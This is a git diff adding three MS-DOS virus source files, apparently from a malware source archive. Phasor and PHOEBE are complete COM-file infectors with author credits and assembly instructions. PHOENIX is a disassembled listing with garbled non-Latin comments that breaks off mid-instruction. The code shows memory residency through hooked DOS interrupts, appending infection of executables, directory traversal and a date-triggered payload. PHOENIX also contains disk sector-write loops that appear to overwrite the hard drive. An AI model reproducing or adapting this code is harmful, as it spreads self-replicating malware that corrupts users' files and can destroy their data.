b/MSDOS/Virus.MSDOS.Unknown.phasor10.asm new file mode 100644 index 00000000..9a0d9dcd --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.phasor10.asm @@ -0,0 +1,166 @@ +; +; [Phasor] v1.0 +; Written by Memory Lapse of Phalcon/Skism +; +; This is a simple memory resident, COM infector. It hides in the unused +; portion of the interrupt table starting at 0:1E0h. +; +; To Assemble: +; TASM [PHASOR10]/m2 - TLINK [PHASOR10]/T +; + .model tiny ; + .code ; + .286 ; + org 100h ; + ; +start: ;Mark Start of Code +v_start: ;Mark Start of Virus + mov bp,0000h ;Self Modifying Delta +delta equ $-002h ; Offset. + ; + xor di,di ;Load Register w/Zero + mov es,di ;ES = 000h + ; + mov di,01E0h ;DI = 1E0h + ; + cmp byte ptr es:[di],0BDh ;Virus Present? + jz restoreCOMbytes ;(0BDh = MOV BP,XXXX) + ; + push cs ;Save CS onto Stack + pop ds ;Restore DS (CS=DS) + ; + mov cx,(heap_end-v_start)/002h ;CX = # of Words To Copy + lea si,[bp+100h] ;SI = Start of Virus + rep movsw ;Copy Virus To Int Table + ; + mov ax,offset i021h+0E0h ;AX = Handler + Offset + ; + xchg ax,word ptr es:[084h] ;Modify Interrupt Table + mov word ptr es:[i021hOffset+0E0h],ax ; To Point To Virus's + ; Interrupt 021h + mov ax,es ; Handler. + ; + xchg ax,word ptr es:[086h] ; + mov word ptr es:[i021hSegment+0E0h],ax ; + ; +restoreCOMbytes: ; + push cs cs ;Equal Out Segment + pop ds es ; Registers. + ; + lea si,[bp+host_bytes] ;SI = Host's Bytes + mov di,100h ;DI = Start of Host + push di ;Save DI onto Stack + mov byte ptr [di],0C3h ;Write RET to Host + call di ;Call 100h (RET) + ; + movsb ;Byte @ DS:[SI]=>ES:[DI] + movsw ;Word @ DS:[SI]=>ES:[DI] + ; + retn ;Return to Host Program. + ; +host_bytes db 0CDh,020h,000h ;Buffer For Starting of + ; Host Program. +infect: xor bp,bp ;Load Register w/Zero + ; + mov ax,3D00h ;AX = 3D00h + int 021h ;Open File in R/O Mode. + ; + xchg ax,bx ; + ; + push bx cs cs ;Save Handle, Equal Out + pop ds es ; Segment Registers. + ; + mov ax,1220h ;AX = 1220h + int 02Fh ;Get JFT. + ; + mov ax,1216h ;AX = 1216h + mov bl,byte ptr es:[di] ;BL = Location of SFT + int 02Fh ;Get SFT. + ; + pop bx ;Restore File Handle + ; + mov word ptr es:[di+002h],002h ;Open File For Read And + ; Write Mode. + mov ah,03Fh ;AH = 3Fh + mov cx,003h ;CX = # of Bytes To Read + mov dx,offset host_bytes+0E0h ;DX = Buffer + Offset + int 021h ;Read 003h Bytes To Bufr + ; + mov si,dx ;SI = DX + ; + cmp word ptr [si+000h],5A4Dh ;EXE File? + jz closeCOMfile ;Exit Virus + ; + cmp word ptr [si+000h],4D5Ah ;EXE File? + jz closeCOMfile ;Exit Virus + ; + push cx ;Save CX onto Stack. + ; + mov ax,4202h ;AX = 4202h + xor cx,cx ;Load Register w/Zero + cwd ;Load Register w/Zero + int 021h ;Move File Pointer @ EOF + ; + pop cx ;Restore CX. + ; + mov word ptr [delta+0E0h],ax ;Write Delta Offset + ; + sub ax,cx ;Subtract 3h from Size. + mov byte ptr [temp_buffer+0E0h+000h],0E9h ;Write Jump to Buffer + mov word ptr [temp_buffer+0E0h+001h],ax ;Write Location to Buffr + ; + sub ax,(v_end-v_start) ;Subtract Virus Length + ; + cmp word ptr [si+001h],ax ;Is File Infected? + jz closeCOMfile ;Jump if Infected. + ; + mov ah,040h ;AH = 40h + mov cx,(v_end-v_start) ;CX = # of Bytes to Wrte + mov dx,01E0h ;DX = Data to Write + int 021h ;Write To File. + ; + mov word ptr es:[di+015h],bp ;Move File Pointer To + mov word ptr es:[di+017h],bp ;Start of File. + ; + mov ah,040h ;AH = 40h + mov cx,003h ;CX = # of Bytes to Wrte + mov dx,offset temp_buffer+0E0h ;DX = Data to Write + int 021h ;Write To File. + ; + mov ax,5701h ;AX = 5701h + mov cx,word ptr es:[di+00Dh] ;CX = Time Stamp + mov dx,word ptr es:[di+00Fh] ;DX = Date Stamp + int 021h ;Set Time. + ; +closeCOMfile: ; + mov ah,03Eh ;AH = 3Eh + int 021h ;Close File. + ; + jmp exit ;Unconditional Jump + ; + db "[ML/PS]" ; + ; +i021h: pusha ;Preserve All Regs. + push ds es ;Save Segment Registers. + ; + sub ax,4B00h ;Executing A File? + jnz exit ;Jump If Not 4B00h. + ; + jmp infect ;Unconditional Jump. + +exit: pop es ds ;Restore Segment Regs. + popa ;Restore All Registers. + ; +int21h: db 0EAh ;JMP SSSS:OOOOO + ; +v_end: ;End of Virus +heap_start: ;Start of Heap + ; +i021hOffset dw 001h dup (?) ;Buffer for Offset +i021hSegment dw 001h dup (?) ;Buffer for Segment + +temp_buffer db 003h dup (?) ;Buffer for Calculations + ; +heap_end: ;End of Heap + ; +end start ;End of Source diff --git a/MSDOS/Virus.MSDOS.Unknown.phoebe.asm b/MSDOS/Virus.MSDOS.Unknown.phoebe.asm new file mode 100644 index 00000000..3bbf646e --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.phoebe.asm @@ -0,0 +1,180 @@ + + + +;PHOEBE +;coded by Opic of the Codebreakers +;PHOEBE is an appending .com infector with DT via a dotdot routine +;infection criteria is met on a moday once all files that are capable of +;being infected by PHOEBE are, a payload is delivered: +;the monitor will print a message to the screen(in the French) which +;translates to;"Indroducing PHOEBE, she was coded in the heart of midwest +;america in the autumn of ninteen ninty-seven by Opic of The Codebreakers" +;along with a text string which will be printed to the printer. Thanx go +;out to:Spo0ky,Arsonic,and Sea4 for which without their help Phoebe whould +;not be what she is today. PHOEBE can be assembled using a86 V4.02 +;it should be noted that phoebe has no anti-av routines, yet is still +;remains undetectable by most av software. a testament to the inconsistancy +;of many av scanners, specifically windows95 scanners. + + + +db 0e9h,0,0 ;jump to virus code.. + + +start_of_PHOEBE: + + call delta ;get delta offset to get # of byte virus moved down + + delta: + pop bp ; call a pop register to get the ip back into register + sub bp,offset delta ; we subtract the offset delta from bp(ip) + mov cx,3 + mov di,100h + lea si,[bp+buffer] + rep movsb + jmp find_first ;jump to find the first file + +find_first: + mov ah,4eh ;find's first file in the starting directory.. + mov cx,7 + lea dx,[bp+filespec] + int 21h + jnc open ;one found.. then infect da + jmp dir_loopy ;otherwise change directory + +dir_loopy: + lea dx,[bp+dotdot] + mov ah, 3bh ;int for chdir + int 21h + jnc find_first ;find first file in new directory + jmp check_payload ; we finished spreading so we check payload criteria + +find_next: + mov ah, 4Fh ;find next.. + int 21h + jnc open ;one found.. INFECT IT! + jmp dir_loopy ;otherwise we do a cd.. + +open: + mov ax,3d02h ;open file + mov dx,9eh ;get the info from the dta + int 21h + + mov bx,ax + + mov ah,3fh ;read from file + mov cx,3 ;3 bytes + lea dx,[bp+buffer] + int 21h + mov ax,word ptr[80h + 1ah] + sub ax,end_of_PHOEBE - start_of_PHOEBE + 3 + cmp ax,word ptr[bp+buffer+1] + je bomb_it_out + mov ax,word ptr[80h + 1ah] + sub ax,3 + mov word ptr[bp+new_three+1],ax + mov ax,4200h + xor cx,cx + xor dx,dx + int 21h + mov ah,40h + lea dx,[bp+new_three] + mov cx,3 + int 21h + mov ax,4202h + xor cx,cx + xor dx,dx + int 21h + mov ah,40h + lea dx,[bp+start_of_PHOEBE] + mov cx,end_of_PHOEBE - start_of_PHOEBE + int 21h + jmp bomb_it_out + + bomb_it_out: ;closes the file.. + mov ah,3fh ;close file + int 21h + + jmp find_next ;find another.. + +check_payload: + mov ah,2ah ;gets system date + int 21h ;opens it + cmp al,001h ;compares, is it monday? + je payload ; if so, we got shit to do + jmp get_out ; if not then we chill till Mon. + +payload: + mov ah,09h ; Fuction 09h: Print String to standard output + lea dx,screen ; Start of '$' terminated string + int 21h + + mov ah,01h ;begin of printer sect of payload + mov dx,0h + int 17h ;int for initializing printer + + lea si,string1 + mov cx,String1Len + PrintStr: + mov ah,00h + lodsb + int 17h + loop PrintStr + +Get_out: + lea di,100h + jmp di + +new_three db 0e9h,0,0 +filespec db '*.com',0 +dotdot db '..',0 +screen db "Voila PHOEBE! Elle etait code' dans la coeur de ,",10,13 +screen2 db "l'amerique midwest a l'automne, dix-neuf cent",10,13 +screen3 db 'quatre-vingt-dix-sept, par Opic des Codebreakers',10,13,'$' +;You have to have the "$" at the end of all the text you want to print + +String1Len EQU EndStr1-String1 +String1 db '*************************PHOEBE*************************',0dh,0ah + db 'Phoebe: high school knockout, better take our MONDAY to',0dh,0ah + db 'the tuesday prize fighter(you were a cab driver off on',0dh,0ah + db 'the distance).youre a runner or a lover:sacred taylor',0dh,0ah + db 'set our records straight one lost two late,im a little',0dh,0ah + db 'off time so set your ticker to mine:',0dh,0ah + db 'id love to have my halo of social grace recrowned.',0dh,0ah + db '(desert island ect.) home to ill will and',0dh,0ah + db 'misrepresentation. barter with me now mexico, i demand',0dh,0ah + db 'it.come bluebeard & red blood-we are life-even in our',0dh,0ah + db 'tied down mishaps. we are life; endure us. dead seven',0dh,0ah + db 'year old run over by a bus while stealing your first',0dh,0ah + db 'and only bicycle; endure. this is life even in my wine',0dh,0ah + db 'glass even in my ever faltering and constant doubt we',0dh,0ah + db 'are here, this is it, endure. even in on our toilet',0dh,0ah + db 'in the morning or in your shitbox or motel, you have',0dh,0ah + db 'made it-rejoice!-the ground will open up on us even',0dh,0ah + db 'before this glass is finished. this year will end for',0dh,0ah + db 'most of us.salt touches the ground, athens have we',0dh,0ah + db 'lost quite yet? savagly speared we went down quietly?',0dh,0ah + db 'giving up our youth or even worse our spirit so',0dh,0ah + db 'daintily as a beauty queen shits at midnight? was no',0dh,0ah + db 'one watching? listening? tell me athens: are we',0dh,0ah + db 'christians and lions? have i got my history all wrong?',0dh,0ah + db 'from the first to the last or one year past: "are these',0dh,0ah + db 'the depths of despair so unevenly documented in its',0dh,0ah + db 'text?".for once athens history repeats itself.tell me',0dh,0ah + db 'what do you think of our football games? are our glory',0dh,0ah + db 'days over? is america doomed with pre-ejaculation? i',0dh,0ah + db 'must know. slap me and tell me im like all the rest,',0dh,0ah + db 'athens,id feel so much better if you did.am i a thief',0dh,0ah + db 'stealing red robed memory? am i: train through a',0dh,0ah + db 'tunnel? rocketship blasting off? the washington',0dh,0ah + db 'monument? i bet i am.i am wimpering under your window',0dh,0ah + db 'sill or whispering to your pillowed ear:rejoice! we are',0dh,0ah + db 'famous watchers.sewer of amber letters, lips sewed a',0dh,0ah + db 'thread of truth to your tongue.i named and numbered my',0dh,0ah + db 'system the whole world over,and you?you got flowers and',0dh,0ah + db 'chocolates.like a steel warehouse summer turned calcium',0dh,0ah + db 'to carbon.',0dh,0ah + db '****coded/copyrighted:Opic*********Codebreakers,1997****',0Ch +EndStr1: +buffer db 0cdh,20h,0 +end_of_PHOEBE: diff --git a/MSDOS/Virus.MSDOS.Unknown.phoenix.asm b/MSDOS/Virus.MSDOS.Unknown.phoenix.asm new file mode 100644 index 00000000..7df2c9b7 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.phoenix.asm @@ -0,0 +1,1052 @@ +Sourcer Listing v2.11 (GEMICHA) !-!-!- PHOENIX -!-!-! + + + +--------------------------------------------------------------------------------------------------------------- + +0000 95 xchg ax,bp ; § Æ §¢ ­ ­  AX +0001 BE 0100 mov si,100h ; ­ · «®²® ­  § ° §­Øæ ´ ©« +0004 46 inc si ; SI=101 +0005 03 34 add si,[si] ; SI= ­ · «®²® ­  ¢Ø°³±  +0007 8B DE mov bx,si ; § Æ §¢ ­ ¢ BX ­ · «®²® ­  ¢Ø°³±  +0009 33 C9 xor cx,cx ; CX= 0 +000B B8 0342 mov ax,342h ; £®«¬Ø­ ²  ­  ¢Ø°³±  -20h + +000E 50 push ax ; AX -> Stack + +000F 33 4C 22 xor cx,[si+22h] ;\ +0012 46 inc si ; \ +0013 46 inc si ; ­ ¬Ø° ­ ­  Ŗ®­²°®«­ ²  +0014 48 dec ax ; ±³¬  ­  ¢Ø°³±  CRC +0015 data_2 db 7Dh ; / +0015 7D F8 jge 000Fh ;/ + +0017 5A pop dx ; Stack -> DX + +0018 31 4F 22 xor [bx+22h],cx ;\ +001B 43 inc bx ; \ +001C 43 inc bx ; ° §Ŗ®¤Ø° ¹  +001D 4A dec dx ; · ±² +001E data_3 db 7Dh ; / +001E 7D F8 jge 0018h ;/ + +0020 87 F6 xchg si,si ; +0022 87 D1 xchg dx,cx ; dx= CRC cx= 0 +0024 FA cli ; § ° ­  §  Æ°Ŗŗ±¢ ­ +0025 81 C6 F97C add si,0F97Ch ; SI= ­ · «®²® ­  ¢Ø°³±  +0029 FC cld ; Clear direction +002A 8B DC mov bx,sp ; BX= stack offset +002C B1 04 mov cl,4 +002E D3 EB shr bx,cl ; BX= BX * 16d +1 +0030 43 inc bx ; / +0031 8C D0 mov ax,ss ; AX= stack seg +0033 03 D8 add bx,ax ; BX= org addr stack + +0035 BF 0004 mov di,4 ; +0038 8B 45 FE mov ax,[di-2] ; AX= seg last paragraph +003B 1E push ds ; DS -> Stack +003C 8E DF mov ds,di ; DS= 0004h +003E 3B 45 66 cmp ax,[di+66h] ; ±®·Ø «Ø INT 2A ¢ Æ®±«¤­Øæ Æ ° £° ´ ? +0041 74 16 je loc_3 ; ??? +0043 80 EC 02 sub ah,2 ; AX= AX- 512d +0046 3B D8 cmp bx,ax ; ج  «Ø Æ°Æ®Ŗ°Ø¢ ­ ­  stack ± last par. +0048 73 59 jae loc_6 ; Jump if above or = +004A 4F dec di ; +004B 4F dec di ; - di= 2 +004C AB stosw ; ax to es:[di] § Æر¢  ¢ PSP ­  ±£¬­²  +004D 8C C3 mov bx,es ; \ +004F 4B dec bx ; ES= ES-1 ±®·Ø ­ · «®²® ­  ²Ŗ³¹Øæ «®Ŗ +0050 8E C3 mov es,bx ; / +0052 26: 80 2D 02 sub byte ptr es:[di],2 ; ­ ¬ «æ¢  «®Ŗ  ± 521d bytes +0056 89 45 66 mov [di+66h],ax ; Æ°®¬æ­  ­  seg §  INT 2A +0059 loc_3: +0059 C7 45 64 0526 mov word ptr [di+64h],526h ; Æ°®¬æ­  ­  off §  INT 2A +005E 4A dec dx ; ­ ¬ «æ CRC ± 1 +005F 52 push dx ; § Æر¢  ± ¢ ±²Ŗ  +0060 50 push ax ; § Æر ­  Æ° §­Øæ ±£¬­² +0061 C4 5D 08 les bx,dword ptr [di+8] ; ES:BX = [ INT 13 ] +0064 B4 13 mov ah,13h ; \ +0066 CD 2F int 2Fh ; +0068 06 push es ; § Æ §¢ ­ ­  +0069 53 push bx ; ®°Ø£Ø­ «­Øæ +006A B4 13 mov ah,13h ; INT 13 +006C CD 2F int 2Fh ; / +006E 8C C2 mov dx,es ; DX= ²Ŗ³¹Øæ 13 +0070 5B pop bx ; \ +0071 07 pop es ; ES:BX [org INT 13] +0072 8C C0 mov ax,es +0074 3B C2 cmp ax,dx ; ²Ŗ³¹Øæ ®°Ø£Ø­ «­? +0076 1F pop ds ; DS= Æ° §­ ±£¬­² +0077 9C pushf ; Push flags +0078 06 push es ;\ +0079 53 push bx ; § Æ §¢ ­ ­  [org INT 13] +007A 1E push ds ; § Æ §¢ ­ ­  Æ° §­Øæ ±£¬­² +007B 74 0D jz loc_4 ; ²Ŗ³¹Øæ INT 13 org +007D 8C DA mov dx,ds +007F 3B C2 cmp ax,dx +0081 72 5E jb loc_7 ; Jump if below +0083 BA 059A mov dx,59Ah +0086 B4 13 mov ah,13h +0088 CD 2F int 2Fh +008A loc_4: +008A 07 pop es ; Æ° §­Øæ ±£¬­² +008B 33 FF xor di,di ; DI= 0 +008D 56 push si ; ¢Ø°³±  ­ · «® -> Stack +008E B9 0355 mov cx,355h ; 853d +0091 F3/ 2E: A5 rep movs word ptr es:[di],word ptr cs:[si] + ;Æ°µ¢ŗ°«æ­ ­  853d  ©²  ®² ¢Ø°³±  ­ · «®²®? +0094 5E pop si ; Stack -> ¢Ø°³±  ­ · «® +0095 B0 EA mov al,0EAh +0097 AA stosb ; § Æر¢  jmp ¢ es:[di] +0098 B1 04 mov cl,4 + +009A locloop_5: +009A 58 pop ax +009B AB stosw ; Store ax to es:[di] +009C E2 FC loop locloop_5 ; Loop if cx > 0 + +009E B8 FE00 mov ax,0FE00h +00A1 AA stosb ; Store al to es:[di] +00A2 AB stosw ; Store ax to es:[di] +00A3 loc_6: +00A3 07 pop es +00A4 FB sti ; Enable interrupts +00A5 0E push cs +00A6 1F pop ds +00A7 BF 00FE mov di,0FEh +00AA 57 push di +00AB 56 push si +00AC 81 C6 00C8 add si,0C8h +00B0 A5 movsw ; Mov [si] to es:[di] +00B1 A5 movsw ; Mov [si] to es:[di] +00B2 A4 movsb ; Mov [si] to es:[di] +00B3 5F pop di +00B4 AD lodsw ; String [si] to ax +00B5 FE C4 inc ah +00B7 96 xchg ax,si +00B8 95 xchg ax,bp +00B9 B9 0354 mov cx,354h +00BC C3 retn + +00BD db 'PHOENIX',0 + +00C5 01 4C D0 add [si-30],cx +00C8 F3 repz +00C9 A5 movsw ; Mov [si] to es:[di] +00CA data_5 dw 34BCh +00CA 4D dec bp +00CB 5A pop dx +00CC BA 47 08 mov dx,0847 +00CF E9 0F85 jmp 18EBh +00D2 BF 004C mov di,4Ch +00D5 8B 5D B6 mov bx,[di-4Ah] +00D8 33 D2 xor dx,dx ; Zero register +00DA 8E DA mov ds,dx +00DC 3B 5D 5E cmp bx,[di+5Eh] +00DF 74 52 je loc_11 ; Jump if equal +00E1 loc_7: +00E1 B2 80 mov dl,80h +00E3 B4 08 mov ah,8 +00E5 CD 13 int 13h ; Disk dl=drive #: ah=func a8h + ; read parameters for drive dl +00E7 72 4A jc loc_11 ; Jump if carry Set +00E9 52 push dx +00EA B4 13 mov ah,13h +00EC CD 2F int 2Fh ; Multiplex/Spooler al=func 00h + ; get installed status +00EE FC cld ; Clear direction +00EF 06 push es +00F0 33 C0 xor ax,ax ; Zero register +00F2 8E C0 mov es,ax +00F4 E6 61 out 61h,al ; port 61h, 8255 B - spkr, etc + ; al = 0, disable parity +00F6 93 xchg ax,bx +00F7 AB stosw ; Store ax to es:[di] +00F8 58 pop ax +00F9 AB stosw ; Store ax to es:[di] +00FA 8B C1 mov ax,cx +00FC 8A E9 mov ch,cl +00FE B1 06 mov cl,6 +0100 D2 ED shr ch,cl ; Shift w/zeros fill +0102 8A CC mov cl,ah +0104 24 3F and al,3Fh ; '?' +0106 8B F1 mov si,cx +0108 5F pop di +0109 B2 80 mov dl,80h +010B loc_8: +010B 33 C9 xor cx,cx ; Zero register +010D loc_9: +010D 32 F6 xor dh,dh ; Zero register +010F 51 push cx +0110 86 CD xchg cl,ch +0112 D0 C9 ror cl,1 ; Rotate +0114 D0 C9 ror cl,1 ; Rotate +0116 41 inc cx +0117 loc_10: +0117 50 push ax +0118 B4 03 mov ah,3 +011A CD 13 int 13h ; Disk dl=drive #: ah=func a3h + ; write sectors from mem es:bx +011C FE C6 inc dh +011E 8B C7 mov ax,di +0120 3A F4 cmp dh,ah +0122 58 pop ax +0123 76 F2 jbe loc_10 ; Jump if below or = +0125 59 pop cx +0126 41 inc cx +0127 3B CE cmp cx,si +0129 76 E2 jbe loc_9 ; Jump if below or = +012B 42 inc dx +012C 4F dec di +012D F7 C7 00FF test di,0FFh +0131 75 D8 jnz loc_8 ; Jump if not zero +0133 loc_11: +0133 8C C2 mov dx,es +0135 83 C2 10 add dx,10h +0138 E8 0008 call sub_1 +013B 00 00 data_9 db 0, 0 +013D 0000 data_10 dw 0 +013F 0000 data_11 dw 0 +0141 0000 data_12 dw 0 + + ;========================================================================== + ; SUBROUTINE + ;========================================================================== + + sub_1 proc near +0143 5F pop di +0144 0E push cs +0145 1F pop ds +0146 01 55 02 add [di+2],dx +0149 03 55 04 add dx,[di+4] +014C 8E D2 mov ss,dx +014E 8B 65 06 mov sp,[di+6] +0151 06 push es +0152 1F pop ds +0153 2E: FF 2D jmp dword ptr cs:[di] + + ;========================================================================== + ; SUBROUTINE + ; INT 21 + ;========================================================================== + + +0156 9C pushf ; Push flags +0157 FA cli ; Disable interrupts +0158 50 push ax +0159 53 push bx +015A 51 push cx +015B 52 push dx +015C 56 push si +015D 57 push di +015E 1E push ds +015F 06 push es +0160 FC cld ; Clear direction +0161 0E push cs +0162 07 pop es +0163 33 C9 xor cx,cx +0165 80 FC 3E cmp ah,3Eh +0168 74 15 je loc_12 + +016A 8B F2 mov si,dx +016C BF 06BA mov di,6BAh ; ¬ ­  ´ ©«  +016F B1 28 mov cl,28h ;  Ŗ±Ø¬ «­  £®«¬Ø­  ­  ´ ©«  +0171 F3/ A5 rep movsw ; cx >0 Mov [si] to es:[di] +0173 93 xchg ax,bx ; § Æ §¢ ­ ­  ´³­Ŗ¶Øæ²  +0174 B8 3D00 mov ax,3D00h +0177 CD 21 int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx +0179 93 xchg ax,bx ; ¢°ŗ¹ ­ ­®¬°  ­  ´³­Ŗ¶Øæ²  +017A 73 03 jnc loc_12 ; €Ŗ® ­æ¬  £°øŖ  --> +017C BB FFFF mov bx,0FFFFh ; €Ŗ® ­æ¬  £°øŖ  ” = FFFF +017F loc_12: +017F 91 xchg ax,cx ; § Æ §¢  ¢ CX ´³­Ŗ¶Øæ²  +0180 8E D8 mov ds,ax ; DS= 0 +0182 BF 06A6 mov di,6A6h ; DW INT 13 +0185 BE 004C mov si,4Ch +0188 B8 0690 mov ax,690h ; Vir INT 13 +018B 87 04 xchg ax,[si] ; Read Int 13 ofs +018D AB stosw ; Store ax to CS:[6A6] +018E 50 push ax ; Int13 Ofs -> Stack +018F 8C C0 mov ax,es +0191 87 44 02 xchg ax,[si+2] ; Read Int 13 seg +0194 AB stosw ; Store ax to es:[di] +0195 50 push ax ; Int13 Seg -> Stack + +0196 B8 0597 mov ax,597h ; Vir INT 24 +0199 87 44 44 xchg ax,[si+44h] +019C 50 push ax ; INT24 Ofs -> Stack +019D 8C C0 mov ax,es +019F 87 44 46 xchg ax,[si+46h] +01A2 50 push ax ; INT24 Seg -> Stack +01A3 1E push ds ; 0 -> Stack +01A4 56 push si ; 4C -> Stack +01A5 32 D2 xor dl,dl +01A7 B8 3302 mov ax,3302h ; DOS Services ah=function 33h +01AA CD 21 int 21h ; ctrl-break flag al=off/on +01AC 52 push dx +01AD E8 02F3 call sub_2 +01B0 72 16 jc loc_13 ; Jump if carry Set +01B2 A1 046C mov ax,word ptr ds:[46Ch] ; (0000:046C=8335h) +01B5 26: C5 75 07 lds si,dword ptr es:[di+7] ; Load 32 bit ptr +01B9 80 7C 08 02 cmp byte ptr [si+8],2 +01BD 06 push es +01BE 1F pop ds +01BF 8B 75 11 mov si,[di+11h] +01C2 96 xchg ax,si +01C3 BA 0403 mov dx,403h +01C6 B1 80 mov cl,80h +01C8 loc_13: +01C8 72 7C jc loc_22 ; Jump if carry Set +01CA 2D 07A8 sub ax,7A8h +01CD 87 45 15 xchg ax,[di+15h] +01D0 50 push ax +01D1 72 03 jc loc_14 ; Jump if carry Set +01D3 84 75 04 test dh,[di+4] +01D6 loc_14: +01D6 75 7E jnz loc_24 ; Jump if not zero +01D8 80 FD 3E cmp ch,3Eh ; '>' +01DB 75 05 jne loc_15 ; Jump if not equal +01DD BA 0002 mov dx,2 +01E0 B1 C0 mov cl,0C0h +01E2 loc_15: +01E2 22 4D 05 and cl,[di+5] +01E5 75 6F jnz loc_24 ; Jump if not zero +01E7 2E: 89 16 06B6 mov word ptr cs:[6B6h],dx ; (06B6=403h) +01EC 83 7D 13 00 cmp word ptr [di+13h],0 +01F0 75 64 jne loc_24 ; Jump if not equal +01F2 8B 45 28 mov ax,[di+28h] +01F5 3D 5845 cmp ax,5845h +01F8 74 13 je loc_16 ; Jump if equal +01FA 3D 4F43 cmp ax,4F43h +01FD 75 13 jne loc_17 ; Jump if not equal +01FF 3B 45 20 cmp ax,[di+20h] +0202 B8 4D4D mov ax,4D4Dh +0205 75 06 jnz loc_16 ; Jump if not zero +0207 3B 45 22 cmp ax,[di+22h] +020A 75 01 jne loc_16 ; Jump if not equal +020C 41 inc cx +020D loc_16: +020D 3A 45 2A cmp al,[di+2Ah] +0210 74 05 je loc_18 ; Jump if equal +0212 loc_17: +0212 80 FD 4B cmp ch,4Bh ; 'K' +0215 75 3F jne loc_24 ; Jump if not equal +0217 loc_18: +0217 51 push cx +0218 FF 75 15 push word ptr [di+15h] +021B 0E push cs +021C 1F pop ds +021D B9 0002 mov cx,2 +0220 B4 3F mov ah,3Fh ; '?' +0222 E8 02A5 call sub_6 +0225 72 13 jc loc_21 ; Jump if carry Set +0227 A1 070A mov ax,word ptr ds:[70Ah] ; (070A=0BF95h) +022A 0A C4 or al,ah +022C 75 05 jnz loc_19 ; Jump if not zero +022E E8 0294 call sub_4 +0231 72 07 jc loc_21 ; Jump if carry Set +0233 loc_19: +0233 87 F2 xchg si,dx + +0235 locloop_20: +0235 AC lodsb ; String [si] to al +0236 84 C0 test al,al +0238 E1 FB loopz locloop_20 ; Loop if zf=1, cx>0 +023A loc_21: +023A 58 pop ax +023B 59 pop cx +023C 06 push es +023D 1F pop ds +023E 72 16 jc loc_24 ; Jump if carry Set +0240 75 07 jnz loc_23 ; Jump if not zero +0242 41 inc cx +0243 92 xchg ax,dx +0244 EB 5F jmp short loc_29 +0246 loc_22: +0246 E9 0154 jmp loc_37 +0249 loc_23: +0249 84 C9 test cl,cl +024B 75 09 jnz loc_24 ; Jump if not zero +024D 8A 45 12 mov al,[di+12h] +0250 F6 D0 not al +0252 A8 38 test al,38h ; '8' +0254 75 3D jnz loc_28 ; Jump if not zero +0256 loc_24: +0256 8F 45 15 pop word ptr [di+15h] +0259 80 FD 4B cmp ch,4Bh ; 'K' +025C 75 E8 jne loc_22 ; Jump if not equal +025E B4 3E mov ah,3Eh ; '>' +0260 CD 21 int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle +0262 0E push cs +0263 1F pop ds +0264 0E push cs +0265 07 pop es +0266 BE 06BA mov si,6BAh +0269 8B FE mov di,si +026B B4 60 mov ah,60h ; '`' +026D CD 21 int 21h ; DOS Services ah=function 60h +026F 72 1F jc loc_27 ; Jump if carry Set +0271 84 C0 test al,al +0273 75 1B jnz loc_27 ; Jump if not zero +0275 loc_25: +0275 AC lodsb ; String [si] to al +0276 3C 5C cmp al,5Ch ; '\' +0278 75 02 jne loc_26 ; Jump if not equal +027A 8B FE mov di,si +027C loc_26: +027C 84 C0 test al,al +027E 75 F5 jnz loc_25 ; Jump if not zero +0280 57 push di +0281 B8 2E2A mov ax,2E2Ah +0284 AB stosw ; Store ax to es:[di] +0285 A1 01F6 mov ax,word ptr ds:[1F6h] ; (01F6=5845h) +0288 AB stosw ; Store ax to es:[di] +0289 32 E4 xor ah,ah ; Zero register +028B AB stosw ; Store ax to es:[di] +028C 5F pop di +028D E9 0132 jmp loc_39 +0290 loc_27: +0290 E9 010E jmp loc_38 +0293 loc_28: +0293 33 C0 xor ax,ax ; Zero register +0295 92 xchg ax,dx +0296 86 C4 xchg al,ah +0298 50 push ax +0299 8B 75 11 mov si,[di+11h] +029C 83 EE 03 sub si,3 +029F F7 F6 div si ; ax,dx rem=dx:ax/reg +02A1 83 C2 03 add dx,3 +02A4 58 pop ax +02A5 loc_29: +02A5 FF 75 05 push word ptr [di+5] +02A8 51 push cx +02A9 52 push dx +02AA 53 push bx +02AB 33 D2 xor dx,dx ; Zero register +02AD 89 55 15 mov [di+15h],dx +02B0 0E push cs +02B1 1F pop ds +02B2 B9 0090 mov cx,90h +02B5 F7 F1 div cx ; ax,dx rem=dx:ax/reg +02B7 E8 0236 call sub_9 +02BA A2 0015 mov data_2,al ; (0015=7Dh) +02BD E8 0230 call sub_9 +02C0 A2 001E mov data_3,al ; (001E=7Dh) +02C3 92 xchg ax,dx +02C4 B2 06 mov dl,6 +02C6 F6 F2 div dl ; al, ah rem = ax/reg +02C8 BE 070A mov si,70Ah +02CB BB 051D mov bx,51Dh +02CE E8 0201 call sub_8 +02D1 88 04 mov [si],al +02D3 46 inc si +02D4 BB 0520 mov bx,520h +02D7 E8 01F6 call sub_7 +02DA BB 0523 mov bx,523h +02DD E8 01F0 call sub_7 +02E0 BB 0709 mov bx,709h +02E3 BE 04F9 mov si,4F9h +02E6 B9 0024 mov cx,24h + +02E9 locloop_30: +02E9 AC lodsb ; String [si] to al +02EA 84 C0 test al,al +02EC 74 1F jz loc_32 ; Jump if zero +02EE 50 push ax +02EF 24 07 and al,7 +02F1 D7 xlat [bx] ; al=[al+[bx]] table +02F2 B4 F8 mov ah,0F8h +02F4 92 xchg ax,dx +02F5 58 pop ax +02F6 51 push cx +02F7 B1 03 mov cl,3 +02F9 D2 E8 shr al,cl ; Shift w/zeros fill +02FB 74 07 jz loc_31 ; Jump if zero +02FD D7 xlat [bx] ; al=[al+[bx]] table +02FE D2 E0 shl al,cl ; Shift w/zeros fill +0300 0A D0 or dl,al +0302 B6 C0 mov dh,0C0h +0304 loc_31: +0304 59 pop cx +0305 20 B4 FB06 and byte ptr ds:[0FB06h][si],dh ; (FB06=0FFh) +0309 08 94 FB06 or byte ptr ds:[0FB06h][si],dl ; (FB06=0FFh) +030D loc_32: +030D E2 DA loop locloop_30 ; Loop if cx > 0 + +030F 5B pop bx +0310 BA 00CA mov dx,0CAh +0313 B1 03 mov cl,3 +0315 B4 3F mov ah,3Fh ; '?' +0317 CD 21 int 21h ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx +0319 58 pop ax +031A 59 pop cx +031B 72 73 jc loc_36 ; Jump if carry Set +031D 26: 89 45 15 mov es:[di+15h],ax +0321 2D 0003 sub ax,3 +0324 A3 00D0 